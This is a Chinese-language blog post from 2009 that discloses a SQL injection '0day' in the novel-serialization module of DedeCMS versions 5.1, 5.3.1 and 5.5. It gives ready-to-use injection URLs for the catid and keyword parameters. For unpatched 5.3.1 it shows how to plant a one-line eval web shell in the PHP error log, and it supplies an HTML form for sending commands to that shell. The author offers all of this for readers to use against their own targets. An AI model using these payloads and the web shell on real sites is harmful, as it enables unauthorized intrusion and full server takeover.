DEDECMS 小说连载模块 0DAY

2009, November 6, 3:45 PM. 漏洞集研
Submitted by admin

作者:st0p

由于这个洞出现在DEDECMS小说连载的模块中,所以只要DEDECMS安装时选小说连载模块,那么就存在这个问题,有些版本在条件允许下是可以直接拿SHELL的哦。
st0p总结了一下利用条件
条件1:当服务器的PHP设置magic_quotes_gpc = Off
条件2:目标DEDECMS系统安装时选中小说连载模块


首先我们先来看一下DEDECMS 5.1,他的小说频道和DEDECMS 5.3.1,DEDECMS 5.5不同,因为他的文件在member目录下面,文件是member/story_books.php,而DEDECMS 5.3.1和DEDECMS 5.5的文件在book目录下,文件是book/story_books.php
因为里面的代码相似,所以呢,咱们只看一个story_books.php就行了


......
if(!isset($action)) $action = ''; //检测变量$action是否存在,不存则则给初使值
if(!isset($catid)) $catid = 0; //检测变量$catid是否存在,不存则则给初使值
if(!isset($keyword)) $keyword = ""; //检测变量$keyword是否存在,不存则则给初使值
if(!isset($orderby)) $orderby = 0; //检测变量$orderby是否存在,不存则则给初使值
......
if($catid!=0) $addquery .= " And (b.bcatid='$catid' Or b.catid='$catid') ";
//变量$catid不为0时,就直接把$catid给$addquery了,没有验证
if($keyword!="") $addquery .= " And (b.bookname like '%$keyword%' Or b.author like '%$keyword%') ";
//变量$keyword不为空时,就直接把$keyword给$addquery了,没有验证
$query = "
   Select b.id,b.catid,b.bookname,b.booktype,b.litpic,b.postnum,b.senddate,b.ischeck, c.id as cid,c.classname From #@__story_books b
   left join #@__story_catalog c on c.id = b.catid where memberid={$cfg_ml->M_ID} and b.id>0 $addquery $orderby
";
//生成了语句
......
?>

上面的代码看到了吧,嘎,catid和keyword没有过滤,所以这就引起了注入,不过好像构成语句有点麻烦,这个就不在本文的讨论了范围了,我们举个小例子试一下,以下操作请在登陆后进行测试,直接注册个帐号,登陆,然后输入以下地址就可以了

DEDECMS 5.1

测试一,catid变量,地址如下
http://st0p:88/dedecms51/member/story_books.php?catid=10') or ('st0p'='st0p

大小: 21.74 K
尺寸: 500 x 326
浏览: 49 次
点击打开新窗口浏览全图

测试二,keyword变量,地址如下
http://st0p:88/dedecms51/member/story_books.php?keyword=st0p%' or c.classname like '%st0p

大小: 21.1 K
尺寸: 500 x 354
浏览: 34 次
点击打开新窗口浏览全图

DEDECMS 5.31

测试一,catid变量,地址如下
http://st0p:88/dedecms53/book/story_books.php?catid=10') or ('st0p'='st0p

大小: 22.53 K
尺寸: 500 x 322
浏览: 35 次
点击打开新窗口浏览全图

测试二,keyword变量,地址如下

http://st0p:88/dedecms53/book/story_books.php?keyword=st0p%' or c.classname like '%st0p

大小: 22.51 K
尺寸: 500 x 286
浏览: 37 次
点击打开新窗口浏览全图

DEDECMS 5.5

测试一,catid变量,地址如下
http://st0p:88/dedecms55/book/story_books.php?catid=10') or ('st0p'='st0p

大小: 22.52 K
尺寸: 500 x 312
浏览: 35 次
点击打开新窗口浏览全图

测试二,keyword变量,地址如下
http://st0p:88/dedecms55/book/story_books.php?keyword=st0p%' or c.classname like '%st0p

大小: 23.43 K
尺寸: 500 x 315
浏览: 47 次
点击打开新窗口浏览全图

看到了吧,这三个版本都存在,不过由于后来DEDECMS的版本对注入语句做了限制,注入的问题大家自己试吧,st0p就不讲了。
其实只要大家变通一下就可以拿到一些站的权限,记得那个MYSQL错误写进后缀为PHP的日志文件的BUG吧,5.1好像没有这个功能,5.31没打补丁的话是有的,如果打过补丁就会像5.5一样,把后缀名字改为了INC,所以虽然能写进去一句话马,但没法利用。。。可怜啊,要是偶早发现,就是通杀了。。。

DEDECMS 5.31
include/dedesql.class.php文件

 

......
 //显示数据链接错误信息
 function DisplayError($msg)
 {
  $errorTrackFile = dirname(__FILE__).'/../data/mysql_error_trace.php'; //这里是PHP后缀
  $emsg = '';
  $emsg .= "

DedeCMS Error Warning!

rn";
  $emsg .= "
Technical Support: http://bbs.dedecms.com
";
  $emsg .= "
rn";
  $emsg .= "

Error page: ".$this->GetCurUrl()."
rn";
  $emsg .= "
Error infos: {$msg}
rn";
  $emsg .= "
rn";
 
  echo $emsg;
 
  $savemsg = 'Page: '.$this->GetCurUrl()."rnError: ".$msg;
  //保存MySql错误日志
  $fp = @fopen($errorTrackFile, 'a');
  @fwrite($fp, '<'.'?php'."rn/*rn{$savemsg}rn*/rn?".">rn");
  @fclose($fp);
 }
......
DEDECMS 5.5和打过补丁
include/dedesql.class.php文件

 

 ......
 //显示数据链接错误信息
 function DisplayError($msg)
 {
  $errorTrackFile = dirname(__FILE__).'/../data/mysql_error_trace.inc'; //后缀变成INC了
  if( file_exists(dirname(__FILE__).'/../data/mysql_error_trace.php') ) //如果mysql_error_trace.php存在,删除文件
  {
   @unlink(dirname(__FILE__).'/../data/mysql_error_trace.php');
  }
  $emsg = '';
  $emsg .= "

DedeCMS Error Warning!

rn";
  $emsg .= "
Technical Support: http://bbs.dedecms.com
";
  $emsg .= "
rn";
  $emsg .= "

Error page: ".$this->GetCurUrl()."
rn";
  $emsg .= "
Error infos: {$msg}
rn";
  $emsg .= "
rn";
 
  echo $emsg;
 
  $savemsg = 'Page: '.$this->GetCurUrl()."rnError: ".$msg;
  //保存MySql错误日志
  $fp = @fopen($errorTrackFile, 'a');
  @fwrite($fp, '<'.'?php'."rn/*rn{$savemsg}rn*/rn?".">rn");
  @fclose($fp);
 }
......

 

看了上面的代码,我们明白了吧,5.5和5.31打过补丁的都会变成这样,没法利用了,我们说一下5.31可以利用时的方法。
利用方法为
http://st0p:88/dedecms53/book/story_books.php?keyword=st0p%'*/eval($_POST[st0p]);?>

大小: 30.54 K
尺寸: 500 x 289
浏览: 33 次
点击打开新窗口浏览全图

嘿嘿。这样我们就得到了一个SHELL
一句话地址为http://st0p:88/dedecms53/data/mysql_error_trace.php
我们直接POST提交数据就行了,DEDECMS 5.5的利用是一样的,不过因为代码了处理,所以生成的文件后缀是INC,就没有用了,下面是用来提交的HTM代码,只需要把下面的表单地址换成你的可以了

 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="author" content="st0p,st0p.org" />
<title>st0p一句话提交</title>
</head>
 
<body>
<!--http://st0p:88/dedecms53/data/mysql_error_trace.php换成你的地址-->
<form id="form1" name="form1" method="post" action="http://st0p:88/dedecms53/data/mysql_error_trace.php">
  <p>
    <label>
      <textarea name="st0p" id="st0p" cols="45" rows="5">echo phpinfo();</textarea>
    </label>
  </p>
  <p>
    <label>
      <input type="submit" name="button" id="button" value="提交" />
    </label>
  </p>
</form>
</body>
</html>

 

当然小说连载模块还有别的文件也存在同样的问题,下面的几个文件都存在
story_stow.php
mybooks.php
story_books.php
story_list_chapter.php
story_list_content.php

本来想过不发布这个0DAY的,嘿嘿,不过偶想多交点牛X点的朋友,共享信息,所以就决定发出来了,以后就少发一些吧。。。
有问题大家可以在我的BLOG讨论!

Tags: dedecms

« 上一篇 | 下一篇 »

只显示10条记录相关文章
DeDecms xss 通杀0day 附getshell EXP (浏览: 27608, 评论: 0)
“幸福百相园”相册GETSHELL漏洞 (浏览: 35230, 评论: 0)
dedecms默认的注册用户 (浏览: 12792, 评论: 0)
dede织梦的又一个代码执行0day (浏览: 13532, 评论: 0)
分享一个判断dedecms版本的方法 (浏览: 16171, 评论: 0)
dedecms v5.3-v5.6 Get Shell 0day利用分析 (浏览: 37393, 评论: 0)
DEDE 暴文件源码AND获得后门GetShell漏洞 (浏览: 21933, 评论: 0)
dedecms 5.6 RSS订阅页面注入漏洞 (浏览: 10956, 评论: 0)
这难道就是传说中的:dedecms 5.6的最新注入漏洞 (浏览: 10083, 评论: 0)
DedeCmsV5.6 本地包含 鸡助0day (浏览: 17907, 评论: 0)
Trackbacks
点击获得Trackback地址,Encode: UTF-8 点击获得Trackback地址,Encode: GB2312 or GBK 点击获得Trackback地址,Encode: BIG5
发表评论

评论内容 (必填):